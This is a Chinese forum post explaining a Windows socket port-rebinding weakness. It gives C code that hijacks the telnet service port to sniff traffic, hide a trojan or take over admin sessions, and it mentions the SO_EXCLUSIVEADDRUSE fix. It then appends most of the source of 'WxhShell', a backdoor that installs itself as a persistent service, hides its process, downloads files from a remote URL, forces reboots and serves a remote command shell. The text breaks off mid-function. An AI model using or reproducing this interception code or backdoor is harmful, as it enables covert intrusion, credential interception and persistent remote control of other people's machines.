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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N[zI@>x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4}#*M2wb  
pOw4H67  
  saddr.sin_family = AF_INET; }]tSWVb*  
{s_0[>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b!_l(2  
dp_J*8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oLBpG1Va  
/,,IM/(6^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BR-4L2[  
sOO_J!bblP  
  这意味着什么?意味着可以进行如下的攻击: "-Yj~  
yNhRh>l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mb>8=hMg  
f+lPQIB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iN9G`qF3!Q  
gtnu/ Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 af'gk&%  
w|1O-k`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `^HK-t4q  
n%6ba77  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *zwo="WA\t  
mndKUI}d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CB0p2WS_  
8shx7"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B|"-Ed  
h0?w V5H  
  #include W2&(:C8V@  
  #include \30rF]F`l  
  #include N/zP!%L  
  #include    jp7cPpk:LG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NRT@"3,1YP  
  int main() z?@N+||,.  
  { Nt|Fw$3*5{  
  WORD wVersionRequested; *\Lr]6k  
  DWORD ret; @1A.$:  
  WSADATA wsaData; '5(T0Ws/w  
  BOOL val; h=4 GSU  
  SOCKADDR_IN saddr; \hWac%#  
  SOCKADDR_IN scaddr; W9QVfe#s  
  int err; dJe 3DW :  
  SOCKET s; _SnD)k+TgJ  
  SOCKET sc; 2;K2|G7  
  int caddsize; 3lTnfc&  
  HANDLE mt; V KxuK0{  
  DWORD tid;   )nGH$Mu  
  wVersionRequested = MAKEWORD( 2, 2 ); KE6 XNG3  
  err = WSAStartup( wVersionRequested, &wsaData ); } ,@ex  
  if ( err != 0 ) { *L~?.9R  
  printf("error!WSAStartup failed!\n"); nkzH}F=<  
  return -1; 6 ZAZJn|  
  } PQ{5*}$N  
  saddr.sin_family = AF_INET; CQPq5/@Y4  
   XE]"RD<z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \&l@rMD3s  
B3<sSe8L0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8F&Y;  
  saddr.sin_port = htons(23); 4peRbm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Pxny3  
  { xE{slDl  
  printf("error!socket failed!\n"); yJ="dEn>i"  
  return -1; dZox;_b  
  } {:|b,ep T  
  val = TRUE; TPs ]n7]:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "|Kag|(qB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m@UrFPZ  
  { ^#XQ2UN  
  printf("error!setsockopt failed!\n"); k?rJGc G  
  return -1; ]:;dJc'  
  } \XO'7bNu-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :H:Se  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aU@1j;se@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E $P?%<o  
]V)*WP#a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \8g= Ix  
  { eL<jA9cJ9  
  ret=GetLastError(); ]57yorc`  
  printf("error!bind failed!\n"); 0gG r/78   
  return -1; S503b*pM  
  } cvQAo|  
  listen(s,2); i{16&4 '  
  while(1) nwMq~I*1  
  { 0 6M?ecN  
  caddsize = sizeof(scaddr); JL>frS3M  
  //接受连接请求 ddN G :  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :>/6:c?atG  
  if(sc!=INVALID_SOCKET) CYlS8j  
  { -$X4RS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h#c7v !g  
  if(mt==NULL) )TEm1\  
  { /::Y &&$f  
  printf("Thread Creat Failed!\n"); 4U16'd  
  break;  fZ&' _  
  } &8Z .m,s]  
  } E *IP#:R  
  CloseHandle(mt); =ZO lE|4  
  } X7[gfKGL)N  
  closesocket(s); $$uMu{?0i  
  WSACleanup(); pTB7k3g  
  return 0; t-5 Y,}j  
  }   k]^ya?O]p  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~L>86/hP,N  
  { 0m=57c$O  
  SOCKET ss = (SOCKET)lpParam; n @,.  
  SOCKET sc; C,A/29R,s  
  unsigned char buf[4096]; 4UUbX  
  SOCKADDR_IN saddr; RehraY3q  
  long num; B=$O4nW_b  
  DWORD val; }dHdy{$  
  DWORD ret; MTN*{ug2:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JypP[yQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bdLi _k  
  saddr.sin_family = AF_INET; 6(BgnH8oc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^}{x).  
  saddr.sin_port = htons(23); }-J0cV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nu OxEyC  
  { }%-iJ\  
  printf("error!socket failed!\n"); ZzjCS2U  
  return -1; fUGappb  
  } Zxhbnl6  
  val = 100; YaL:6[6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OScqf]H  
  { (Q @'fb9z  
  ret = GetLastError(); x$bUd 9  
  return -1; aL`wz !  
  } 7(oA(l1V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VX82n,'=t  
  { TVx `&C+  
  ret = GetLastError(); ~**x_ v  
  return -1; K[ [6A:  
  } %q~q,=H$]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vf$IF|  
  { +iFt)  
  printf("error!socket connect failed!\n"); G~v:@  
  closesocket(sc); ~;a \S3  
  closesocket(ss); \gB ~0@[\7  
  return -1; #r]Z2Y]  
  } .)_2AoT7[  
  while(1) 096Yd=3h  
  { H17I" 5N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 la)^`STh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AS@(]T#R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2%L`b"9}V  
  num = recv(ss,buf,4096,0); beC%Tnb7  
  if(num>0) ajtH 1Z#  
  send(sc,buf,num,0); zTj ie  
  else if(num==0) 5OtdB'UITd  
  break;  oC*a;o  
  num = recv(sc,buf,4096,0); #{{p4/:  
  if(num>0) Z/:F)c,x  
  send(ss,buf,num,0); O,|NOz  
  else if(num==0) 6_])(F3+w.  
  break; y(MB _B7j  
  } o5 fV,BJZO  
  closesocket(ss); [U8/nT  
  closesocket(sc); '?mF,C o{  
  return 0 ; V-@4s}zX  
  } 5lJL[{  
^/#G,MxNy  
fZ5 UFq_~s  
========================================================== k&%i+5X  
IsE3-X|  
下边附上一个代码,,WXhSHELL kY'Wf`y(  
*d;TpwUI  
========================================================== vdAd@Z~\  
Z\EA!Cs3  
#include "stdafx.h" 8cG`We8l&  
q(:L8nKT]  
#include <stdio.h> \U]K!K=  
#include <string.h> A8{ xZsH  
#include <windows.h> LUId<We  
#include <winsock2.h> [M,4qe8,}  
#include <winsvc.h> Y`(Ri-U4  
#include <urlmon.h> iiMS3ueF  
)=d)j^ t9  
#pragma comment (lib, "Ws2_32.lib") nEd "~  
#pragma comment (lib, "urlmon.lib") R"V90bCf  
G^#>HE|  
#define MAX_USER   100 // 最大客户端连接数 ?z#*eoPr  
#define BUF_SOCK   200 // sock buffer Fd\uTxykp  
#define KEY_BUFF   255 // 输入 buffer E V)H>kM  
l^nvwm`f#:  
#define REBOOT     0   // 重启 q%e'WMG~n  
#define SHUTDOWN   1   // 关机 H~nX! sO  
uJ -$i  
#define DEF_PORT   5000 // 监听端口 9N'fU),I  
oJr+RO  
#define REG_LEN     16   // 注册表键长度 p|2GPrA]aL  
#define SVC_LEN     80   // NT服务名长度 [B+F}Q^;  
4S ~kNp$  
// 从dll定义API A1-,b.Ni  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ *[Ht!y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P.@dB.Ny  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Tdx*1 U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }7 +%k/  
/go[}X5QR[  
// wxhshell配置信息 qe{;EH*  
struct WSCFG { 8I RKCuV  
  int ws_port;         // 监听端口 n|&=6hiI  
  char ws_passstr[REG_LEN]; // 口令 X5[vQ3^  
  int ws_autoins;       // 安装标记, 1=yes 0=no qi7C.w;  
  char ws_regname[REG_LEN]; // 注册表键名 {+hABusq  
  char ws_svcname[REG_LEN]; // 服务名 .=J- !{z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *)-@'{]uB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8+}rm6Y+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LdG?kbJ&y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \WFcb\..  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XZARy:+bc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bRy(`  
;9mRumLG"  
}; UTKyPCfj  
zHZfp_I  
// default Wxhshell configuration vw;a L#PP  
struct WSCFG wscfg={DEF_PORT, c,.@Cc2  
    "xuhuanlingzhe", 03v+eT  
    1, j;@a~bks6z  
    "Wxhshell", heou\;GI"  
    "Wxhshell", sIf]e'@AC  
            "WxhShell Service", Z/G#3-5)p  
    "Wrsky Windows CmdShell Service", mz6]=]1w  
    "Please Input Your Password: ", M-i3_H)  
  1, 9X 4[Zk  
  "http://www.wrsky.com/wxhshell.exe", @ewaj!  
  "Wxhshell.exe" 2e%\aP`D2  
    }; *cXq=/s  
ZBpcC0 z  
// 消息定义模块 :G@z?ZJ[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :cWU,V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5["3[h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5uQ+'*xN%  
char *msg_ws_ext="\n\rExit."; c.Hw K\IU  
char *msg_ws_end="\n\rQuit."; ?# FYF\P  
char *msg_ws_boot="\n\rReboot..."; }i"[5:  
char *msg_ws_poff="\n\rShutdown..."; $Bz};@  
char *msg_ws_down="\n\rSave to "; XH~(=^/_  
 4bA^Gq  
char *msg_ws_err="\n\rErr!"; /7#e  
char *msg_ws_ok="\n\rOK!"; T^|k`  
AaA!U!B  
char ExeFile[MAX_PATH]; "NLuAB. P  
int nUser = 0; Hq:: F?  
HANDLE handles[MAX_USER]; o}:x-Y  
int OsIsNt; dV38-IfGkl  
"[?DS  
SERVICE_STATUS       serviceStatus; AJEbiP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; igA?E56?  
dB6 ,pY(  
// 函数声明 u'#/vT#l  
int Install(void); ;K\2/"$QD  
int Uninstall(void); }WIkNG4{Z  
int DownloadFile(char *sURL, SOCKET wsh); yPtE5"(o  
int Boot(int flag); K*T^w3=  
void HideProc(void); tW|0_m>{  
int GetOsVer(void); i,<'AL )  
int Wxhshell(SOCKET wsl); Itr 4 Pr  
void TalkWithClient(void *cs); #%nV\ Bl  
int CmdShell(SOCKET sock); T,9q~*"  
int StartFromService(void); 2sIt~ Gn  
int StartWxhshell(LPSTR lpCmdLine); PY7H0\S)  
r_$*euh@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @,.D]43  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6H'A]0  
r+C4<-dT  
// 数据结构和表定义 z8t;jw  
SERVICE_TABLE_ENTRY DispatchTable[] = \;~Nj#  
{ LEPLoF3,  
{wscfg.ws_svcname, NTServiceMain}, *4%pXm;  
{NULL, NULL} f EL 9J{  
}; d%0Gsga}  
q`r| DcN~  
// 自我安装 4Z%1eOR9V  
int Install(void) /A,w{09G  
{ 3S+9LOrhY  
  char svExeFile[MAX_PATH]; PF/K&&9}  
  HKEY key; #)~u YQ  
  strcpy(svExeFile,ExeFile); D(']k?  
bKsjbYuo  
// 如果是win9x系统,修改注册表设为自启动 *:xOenI  
if(!OsIsNt) { 8]`#ax 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |D-[M_T5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RR[zvH} E  
  RegCloseKey(key); */IiL%g4u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /_m )D;!y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]$L5}pE3  
  RegCloseKey(key); (o B4*  
  return 0; o-H?q!  
    } v%T'!(0j/  
  } a r8iuwfZ  
} $?W2'Xm!V  
else { q}L`8(a  
nX3?7"v  
// 如果是NT以上系统,安装为系统服务 ?lD)J?j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;&CLb`<y  
if (schSCManager!=0) b;jdk w|  
{ $k0(iFzR1  
  SC_HANDLE schService = CreateService H; \C7w|  
  ( j8Z;}Ps  
  schSCManager, K\9CW%W  
  wscfg.ws_svcname, a-|pSe*rx  
  wscfg.ws_svcdisp, k/{WlLN  
  SERVICE_ALL_ACCESS, \7b, Mz!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gC2}?nq*  
  SERVICE_AUTO_START, 3E;@.jD  
  SERVICE_ERROR_NORMAL, 8Y`g$2SZ^8  
  svExeFile, .kU^)H" l  
  NULL, ~|S0E:*.  
  NULL, (CIcM3|9C  
  NULL, G-)e(u   
  NULL, K0( S%v|,}  
  NULL iS+"Jsz  
  ); .kFO@:  
  if (schService!=0) 7s6+I_n  
  { CBf[$[e  
  CloseServiceHandle(schService); %k4Qx5`?d  
  CloseServiceHandle(schSCManager); sPZwA0%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hJ ^+asr  
  strcat(svExeFile,wscfg.ws_svcname); b]z_2h~`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1Z c=QJw@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .+(V</  
  RegCloseKey(key); F\+AA  
  return 0; FhY#3-jH  
    } '(B -{}l  
  } ~wuCa!!A  
  CloseServiceHandle(schSCManager); EQlb:;j  
} {p1`[R&n#  
} %dPk,Ylz  
&J2 UAmB  
return 1; /gF)msUF  
} ^OQP;5 #K  
2LUsqL\m}.  
// 自我卸载 %]I#]jR  
int Uninstall(void) &zy%_U2%  
{ AVD hgJv  
  HKEY key; J' uaZI>'  
{Ia1H  
if(!OsIsNt) { <$-^^b(y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QnOgF3t  
  RegDeleteValue(key,wscfg.ws_regname); N 5Om~D  
  RegCloseKey(key); )-!)D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { btEyvqs~X  
  RegDeleteValue(key,wscfg.ws_regname); D^O[_/i&  
  RegCloseKey(key); %" bI2  
  return 0; p*lP9[7  
  } \u`P(fI!K%  
} E{ c+`>CY  
} HL"c yxe  
else { id9QfJ9t  
G3TS?u8Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3?V'O6  
if (schSCManager!=0) G@ ot^n3  
{ JR]elRR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -y!Dg6 A  
  if (schService!=0) | CFG<]  
  { qX\85dPn@}  
  if(DeleteService(schService)!=0) { VC/n}7p  
  CloseServiceHandle(schService); :1qLRr  
  CloseServiceHandle(schSCManager); K!CVS7  
  return 0; ?1\I/ 'E9  
  } 3v_j*wy  
  CloseServiceHandle(schService); #Q7:Mu+  
  } L^t%p1R  
  CloseServiceHandle(schSCManager);  DlCN  
} rT4Q^t"  
} uxL+oP0  
QDYuJ&!h  
return 1; C2rG3X^~Jm  
} GEy7Vb)  
cwvJH&%0  
// 从指定url下载文件 j7&#R+f  
int DownloadFile(char *sURL, SOCKET wsh) M**Sus87Q  
{ gD)M7`4  
  HRESULT hr; s3A(`heoq  
char seps[]= "/"; 9U<WR*H  
char *token; S>x@9$( ym  
char *file; "vybVWEE  
char myURL[MAX_PATH]; &M@ .d$<C  
char myFILE[MAX_PATH]; |GQq:MB;z  
W gyRK2#!  
strcpy(myURL,sURL); `?=3[  
  token=strtok(myURL,seps); bTeuOpp  
  while(token!=NULL) I(VqtC:K.  
  { axC{azo|  
    file=token; hJ8&OCR }  
  token=strtok(NULL,seps); 7hn[i,?` H  
  } 7#"NKxb  
;q-c[TZC  
GetCurrentDirectory(MAX_PATH,myFILE); '{cND  
strcat(myFILE, "\\"); $,Xn@4  
strcat(myFILE, file); ASi2;Q_{_  
  send(wsh,myFILE,strlen(myFILE),0); I52nQCXi  
send(wsh,"...",3,0); 0);5cbV7i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -<x%  
  if(hr==S_OK) o0No"8DnjH  
return 0; l,Q`;v5|  
else dl=)\mSFjF  
return 1; fIpS P@$<  
+arh/pd_I  
}  j7_,V?5z  
r+%3Y:dZE  
// 系统电源模块 66>X$nx(z  
int Boot(int flag) Nt\07*`qCr  
{ -]KgLgJ  
  HANDLE hToken; g~21|Sa$[  
  TOKEN_PRIVILEGES tkp; /xgC`]-  
c(Y~5A{TXO  
  if(OsIsNt) { m %+'St|qr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qh>An;:u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j^#\km B  
    tkp.PrivilegeCount = 1; +/$&P3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^-?^iWQ G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (BH<\&yHE  
if(flag==REBOOT) { n+=7u[AZi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ).,twf58  
  return 0; <k1muSe  
} Yqh-U%"'  
else { ES,JdImZ|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kPy7e~  
  return 0; !Usmm8!K  
} 8?L-3/  
  } ,~$sJ2 g7  
  else { g,YF$:e  
if(flag==REBOOT) { BPW.&2?<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V+sZ;$  
  return 0; 9mtndTT 5u  
} IG}yGGn  
else { S`[(y?OF?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2IHS)kkT|  
  return 0; L=#B>Eu  
} =4x6v<  
} \``w>Xy8  
F ',1R"/}  
return 1; PQ!'<  
} "(H%m9K  
=1>G * ,  
// win9x进程隐藏模块 c9H6\&  
void HideProc(void) 7C2Xy>d~  
{ |;V-;e*  
Da! fwth  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vbd ;Je"  
  if ( hKernel != NULL ) 5R.jhYAj  
  { ec^{ez@`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y<IHZq`C3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L6qK3xa}  
    FreeLibrary(hKernel); uHf1b?W  
  } .I{u[ "  
K ..Pn 17t  
return; l8M}82_  
} dc emF  
7{"F%`7L  
// 获取操作系统版本 #l) o<Z  
int GetOsVer(void) wk'(g_DP  
{ D)L~vA/8b  
  OSVERSIONINFO winfo; jbg9 EtQ!*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XH0Vs.w  
  GetVersionEx(&winfo); @ajdO/?(Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b-`P-  
  return 1; ;gaTSYVe  
  else -1d$w`  
  return 0; KIuj;|!q  
} JeVbFZ8  
wuCZz{c7  
// 客户端句柄模块 y4n~gTo(?  
int Wxhshell(SOCKET wsl) pIm ]WNX(  
{ "_dJ4<8  
  SOCKET wsh; 4u2_xbT  
  struct sockaddr_in client; #EKnjh=Uq  
  DWORD myID; e=jtF"&  
@!x7jPr  
  while(nUser<MAX_USER) [=-,i#4  
{ o2YHT \P n  
  int nSize=sizeof(client); kot KKs   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <#Fex'4  
  if(wsh==INVALID_SOCKET) return 1; jtpk5 fJB  
ept:<!4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TgRG6?#^l  
if(handles[nUser]==0) Ak`?,*L M  
  closesocket(wsh); \8{Tj54NA  
else 2l+'p[b0>  
  nUser++; 02^\np  
  } Zia6m[^Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ex|)3|J  
a(JtGjTf&  
  return 0; y </i1qM  
} {c1wJ  
LBpAR|  
// 关闭 socket E>QEI;  
void CloseIt(SOCKET wsh) URh5ajoR%  
{ )i-`AJK-'v  
closesocket(wsh); YSZ[~?+  
nUser--; oqK: 5|  
ExitThread(0); Jx&+e,OST  
} x41t=E](  
"1P2`Ep;  
// 客户端请求句柄 _ -ec(w~/  
void TalkWithClient(void *cs) `Sj8IxO  
{ Frhm4H%,_R  
bx".<q(  
  SOCKET wsh=(SOCKET)cs; hg+;!|ha  
  char pwd[SVC_LEN]; FFN.9[Ly  
  char cmd[KEY_BUFF]; A}"uEk(R  
char chr[1]; oY@]&A^ah  
int i,j; m1p% ,  
el^<M,7!  
  while (nUser < MAX_USER) { t!ZFpMv]n  
q<fj1t1w  
if(wscfg.ws_passstr) { p7*7V.>X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .lc gM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jd+HIR  
  //ZeroMemory(pwd,KEY_BUFF); !wrAD"l*@  
      i=0; 9I|Q`j?p`  
  while(i<SVC_LEN) { KA`)dMWL  
wp/x|AV  
  // 设置超时 P}PMRAek  
  fd_set FdRead; )fT0FLl|1  
  struct timeval TimeOut; "bjbJC&T  
  FD_ZERO(&FdRead); 6~k qU4lL  
  FD_SET(wsh,&FdRead); G_5NS<JE"S  
  TimeOut.tv_sec=8; +A_jm!tJS(  
  TimeOut.tv_usec=0; 1@<>GDB9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B7'2@+(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mvtuV`  
} 4>#s$.2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Z\$!:  
  pwd=chr[0]; 4T<dI6I0  
  if(chr[0]==0xd || chr[0]==0xa) { j!"NEh78H  
  pwd=0; 5_L43-  
  break; XoiZ"zE  
  } nm,Tng oj  
  i++; m )<N:|  
    } ><@& &u.  
69C ss'  
  // 如果是非法用户,关闭 socket qkyYt#4E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u-dF ~.x  
} IZ_ B $mo  
9l7 youZ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q[Tbdc%1EG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nk>6:Ho{G  
ZOzyf/?.  
while(1) { rmnnV[@o  
5YiBw|Z7 "  
  ZeroMemory(cmd,KEY_BUFF); N<lf,zGw  
RKz _GEH)  
      // 自动支持客户端 telnet标准   y|D-W>0cX3  
  j=0; `VOLw*Ci  
  while(j<KEY_BUFF) { ]JHY(H2|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "  6  
  cmd[j]=chr[0]; 'seuO!5  
  if(chr[0]==0xa || chr[0]==0xd) { (pQ$<c  
  cmd[j]=0; ^m^,:]I0P  
  break; '8Lc}-M4  
  } p WKpc  
  j++; Hkj| e6  
    } O`(it %Ho!  
f]^ @z<FC  
  // 下载文件 {S5D~A*a+  
  if(strstr(cmd,"http://")) { n %P,"V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }(if|skau  
  if(DownloadFile(cmd,wsh)) E{|n\|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Sdki::  
  else $U5$*R@jo[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X1h*.reFAL  
  } v{>9&o.J  
  else { TsZX'Yn  
E@;v|Xc  
    switch(cmd[0]) { 1^=[k  
  4=n%<U`Z/  
  // 帮助 27jZ~Bp$  
  case '?': { 0 :1ldU 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _:;j)J0  
    break; d`Em) 3v  
  } b(gcnSzM2  
  // 安装 m-!z(vcn  
  case 'i': { |teDe6 \m  
    if(Install()) k+&1?]   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vR\[IV?  
    else i(>v~T,(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z$a4@W9o  
    break; z15QFVm  
    } O0<GFL$)&  
  // 卸载 ZZl4|  
  case 'r': { EC| b7  
    if(Uninstall()) Z})n%l8J]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \\~4$Ai[  
    else t]%! vXo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A&fh0E (t  
    break; c )o[3o7  
    } ]^\+B4  
  // 显示 wxhshell 所在路径 $JXQn  
  case 'p': { mJ5LRpXN  
    char svExeFile[MAX_PATH]; h?:Y\DlU'  
    strcpy(svExeFile,"\n\r"); pNzGpCk  
      strcat(svExeFile,ExeFile); gb0ZGnI  
        send(wsh,svExeFile,strlen(svExeFile),0); OECXNx  
    break; X{riI^(  
    } <ByDT$E_  
  // 重启 IN9o$CZ:  
  case 'b': { /L"&'~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;42D+q=s  
    if(Boot(REBOOT)) ;w}5:3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]0jq U6  
    else { gBG.3\[  
    closesocket(wsh); S\UM0G}v  
    ExitThread(0); +nslS:(  
    } I2=Kq{  
    break; R OQIw  
    } QcQ|,lA.HI  
  // 关机 ;EfMTI}6K  
  case 'd': { KPA5 X]  
